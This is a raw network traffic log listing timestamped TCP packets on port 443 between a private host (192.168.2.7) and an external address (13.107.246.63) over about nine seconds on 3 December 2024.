Dec 3, 2024 17:42:51.874810934 CET	443	50023	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.086935043 CET	443	50019	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.087738991 CET	50019	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.087759972 CET	443	50019	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.088260889 CET	50019	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.088265896 CET	443	50019	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.540693998 CET	443	50019	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.544466019 CET	443	50019	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.544513941 CET	443	50019	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.544547081 CET	50019	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.544605017 CET	50019	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.544698000 CET	50019	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.544708967 CET	443	50019	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.544719934 CET	50019	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.544724941 CET	443	50019	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.548010111 CET	50024	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.548043013 CET	443	50024	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.548124075 CET	50024	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.548322916 CET	50024	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.548332930 CET	443	50024	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.598025084 CET	443	50020	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.598490000 CET	50020	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.598500013 CET	443	50020	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.598943949 CET	50020	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.598948002 CET	443	50020	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.696623087 CET	443	50021	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.701064110 CET	50021	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.701086044 CET	443	50021	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.701841116 CET	50021	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.701845884 CET	443	50021	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.965493917 CET	443	50022	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.965981007 CET	50022	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.965997934 CET	443	50022	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:52.966407061 CET	50022	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:52.966412067 CET	443	50022	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.048888922 CET	443	50020	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.054548979 CET	443	50020	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.054630995 CET	50020	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.058579922 CET	50020	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.058593035 CET	443	50020	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.058619976 CET	50020	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.058625937 CET	443	50020	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.061600924 CET	50025	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.061644077 CET	443	50025	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.061726093 CET	50025	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.061830997 CET	50025	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.061847925 CET	443	50025	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.143912077 CET	443	50021	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.146994114 CET	443	50021	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.147048950 CET	443	50021	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.147057056 CET	50021	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.147095919 CET	50021	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.147128105 CET	50021	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.147145987 CET	443	50021	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.147156954 CET	50021	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.147161961 CET	443	50021	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.149251938 CET	50026	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.149290085 CET	443	50026	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.149349928 CET	50026	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.149611950 CET	50026	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.149621964 CET	443	50026	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.413992882 CET	443	50022	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.414083958 CET	443	50022	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.414150953 CET	50022	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.416610003 CET	50022	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.416629076 CET	443	50022	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.416671038 CET	50022	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.416676998 CET	443	50022	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.454878092 CET	50027	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.454924107 CET	443	50027	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.454993963 CET	50027	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.466341019 CET	50027	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.466370106 CET	443	50027	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.666630983 CET	443	50023	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.669935942 CET	50023	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.669958115 CET	443	50023	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:53.670675993 CET	50023	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:53.670684099 CET	443	50023	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.186125994 CET	443	50023	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.187279940 CET	443	50023	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.187397957 CET	50023	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.187448025 CET	50023	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.187469959 CET	443	50023	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.187475920 CET	50023	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.187483072 CET	443	50023	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.190387011 CET	50028	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.190428019 CET	443	50028	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.190506935 CET	50028	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.190686941 CET	50028	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.190696955 CET	443	50028	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.471405029 CET	443	50024	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.472107887 CET	50024	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.472125053 CET	443	50024	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.472594976 CET	50024	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.472599983 CET	443	50024	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.796490908 CET	443	50025	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.797139883 CET	50025	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.797157049 CET	443	50025	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.797595024 CET	50025	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.797602892 CET	443	50025	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.926182032 CET	443	50024	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.926907063 CET	443	50024	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.926976919 CET	50024	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.927016020 CET	50024	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.927016020 CET	50024	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.927032948 CET	443	50024	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.927041054 CET	443	50024	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.929543018 CET	50029	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.929609060 CET	443	50029	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.929692030 CET	50029	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.929853916 CET	50029	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.929868937 CET	443	50029	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.946135044 CET	443	50026	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.946525097 CET	50026	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.946544886 CET	443	50026	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:54.946933985 CET	50026	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:54.946938992 CET	443	50026	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.209917068 CET	443	50027	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.210458994 CET	50027	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.210480928 CET	443	50027	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.210875034 CET	50027	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.210880041 CET	443	50027	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.247822046 CET	443	50025	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.251108885 CET	443	50025	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.251154900 CET	443	50025	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.251199961 CET	50025	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.251241922 CET	50025	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.251288891 CET	50025	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.251321077 CET	443	50025	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.251338959 CET	50025	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.251344919 CET	443	50025	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.254095078 CET	50030	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.254137993 CET	443	50030	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.254220009 CET	50030	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.254373074 CET	50030	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.254384041 CET	443	50030	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.394514084 CET	443	50026	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.398514986 CET	443	50026	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.398596048 CET	50026	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.398663044 CET	50026	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.398674011 CET	443	50026	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.398721933 CET	50026	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.398727894 CET	443	50026	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.401480913 CET	50031	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.401511908 CET	443	50031	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.401597023 CET	50031	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.401750088 CET	50031	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.401765108 CET	443	50031	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.649118900 CET	443	50027	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.649192095 CET	443	50027	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.649255991 CET	50027	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.649450064 CET	50027	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.649468899 CET	443	50027	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.649485111 CET	50027	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.649491072 CET	443	50027	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.652205944 CET	50032	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.652247906 CET	443	50032	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.652321100 CET	50032	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.652475119 CET	50032	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.652493000 CET	443	50032	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.936460018 CET	443	50028	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.936923981 CET	50028	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.936959028 CET	443	50028	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:55.937411070 CET	50028	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:55.937429905 CET	443	50028	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:56.514095068 CET	443	50028	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:56.516959906 CET	443	50028	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:56.517052889 CET	50028	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:56.517091990 CET	50028	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:56.517116070 CET	443	50028	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:56.517127991 CET	50028	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:56.517133951 CET	443	50028	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:56.551776886 CET	50033	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:56.551826000 CET	443	50033	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:56.551933050 CET	50033	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:56.552113056 CET	50033	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:56.552125931 CET	443	50033	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:56.792274952 CET	443	50029	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:56.792989016 CET	50029	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:56.793014050 CET	443	50029	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:56.793477058 CET	50029	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:56.793483973 CET	443	50029	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.234410048 CET	443	50030	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.235532999 CET	50030	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.235543966 CET	443	50030	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.236006021 CET	50030	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.236011028 CET	443	50030	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.241415024 CET	443	50031	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.243462086 CET	50031	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.243499041 CET	443	50031	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.244354010 CET	50031	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.244362116 CET	443	50031	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.507448912 CET	443	50032	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.508150101 CET	50032	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.508182049 CET	443	50032	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.508752108 CET	50032	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.508757114 CET	443	50032	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.513781071 CET	443	50029	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.515837908 CET	443	50029	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.515974045 CET	50029	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.516087055 CET	50029	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.516110897 CET	443	50029	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.516125917 CET	50029	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.516132116 CET	443	50029	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.521945953 CET	50034	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.522022009 CET	443	50034	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.522140980 CET	50034	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.522383928 CET	50034	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.522408009 CET	443	50034	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.687655926 CET	443	50031	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.688615084 CET	443	50031	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.688724041 CET	50031	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.688796997 CET	50031	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.688813925 CET	443	50031	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.688852072 CET	50031	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.688858986 CET	443	50031	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.692599058 CET	50035	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.692645073 CET	443	50035	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.692738056 CET	50035	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.692926884 CET	50035	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.692951918 CET	443	50035	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.695116997 CET	443	50030	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.698764086 CET	443	50030	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.698849916 CET	50030	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.698894024 CET	50030	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.698911905 CET	443	50030	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.698929071 CET	50030	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.698935032 CET	443	50030	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.701455116 CET	50036	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.701484919 CET	443	50036	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.701565027 CET	50036	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.701706886 CET	50036	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.701721907 CET	443	50036	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.951773882 CET	443	50032	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.955756903 CET	443	50032	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.955863953 CET	50032	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.955925941 CET	50032	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.955941916 CET	443	50032	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.955951929 CET	50032	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.955957890 CET	443	50032	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.959420919 CET	50037	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.959438086 CET	443	50037	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:57.959531069 CET	50037	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.959722042 CET	50037	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:57.959728003 CET	443	50037	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:58.419876099 CET	443	50033	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:58.420506001 CET	50033	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:58.420528889 CET	443	50033	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:58.421027899 CET	50033	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:58.421034098 CET	443	50033	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:58.910036087 CET	443	50033	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:58.913180113 CET	443	50033	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:58.913229942 CET	443	50033	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:58.913252115 CET	50033	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:58.913310051 CET	50033	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:58.913362026 CET	50033	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:58.913376093 CET	443	50033	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:58.913399935 CET	50033	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:58.913408995 CET	443	50033	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:58.916559935 CET	50038	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:58.916604996 CET	443	50038	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:58.916682005 CET	50038	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:58.916831017 CET	50038	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:58.916846991 CET	443	50038	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.404217958 CET	443	50034	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.405011892 CET	50034	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.405033112 CET	443	50034	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.405508041 CET	50034	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.405513048 CET	443	50034	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.521814108 CET	443	50036	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.523896933 CET	50036	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.523925066 CET	443	50036	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.524602890 CET	50036	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.524610996 CET	443	50036	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.592201948 CET	443	50035	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.592844009 CET	50035	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.592883110 CET	443	50035	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.593369007 CET	50035	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.593377113 CET	443	50035	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.757029057 CET	443	50037	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.762532949 CET	50037	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.762542963 CET	443	50037	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.764425993 CET	50037	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.764435053 CET	443	50037	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.850045919 CET	443	50034	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.856900930 CET	443	50034	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.857053041 CET	50034	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.883502007 CET	50034	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.883502007 CET	50034	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.883528948 CET	443	50034	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.883539915 CET	443	50034	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.922769070 CET	50039	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.922800064 CET	443	50039	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:59.922897100 CET	50039	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.925230980 CET	50039	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:59.925240993 CET	443	50039	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.024451017 CET	443	50036	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.027791023 CET	443	50036	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.027919054 CET	50036	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.027919054 CET	50036	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.027919054 CET	50036	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.031044006 CET	50040	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.031074047 CET	443	50040	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.031178951 CET	50040	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.031322002 CET	50040	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.031331062 CET	443	50040	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.048067093 CET	443	50035	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.051294088 CET	443	50035	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.051356077 CET	50035	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.051372051 CET	443	50035	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.051420927 CET	50035	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.051541090 CET	50035	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.051563978 CET	443	50035	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.051578999 CET	50035	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.051584959 CET	443	50035	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.054414988 CET	50041	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.054450989 CET	443	50041	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.054549932 CET	50041	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.054687023 CET	50041	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.054698944 CET	443	50041	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.200927019 CET	443	50037	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.205240011 CET	443	50037	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.205284119 CET	50037	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.205293894 CET	443	50037	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.205306053 CET	443	50037	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.205566883 CET	50037	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.205566883 CET	50037	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.205585003 CET	50037	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.205589056 CET	443	50037	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.208987951 CET	50042	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.209006071 CET	443	50042	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.209067106 CET	50042	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.209404945 CET	50042	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.209413052 CET	443	50042	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.330913067 CET	50036	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.330938101 CET	443	50036	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.816236973 CET	443	50038	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.816723108 CET	50038	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:00.816737890 CET	443	50038	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:00.817295074 CET	50038	443	192.168.2.7	13.107.246.63
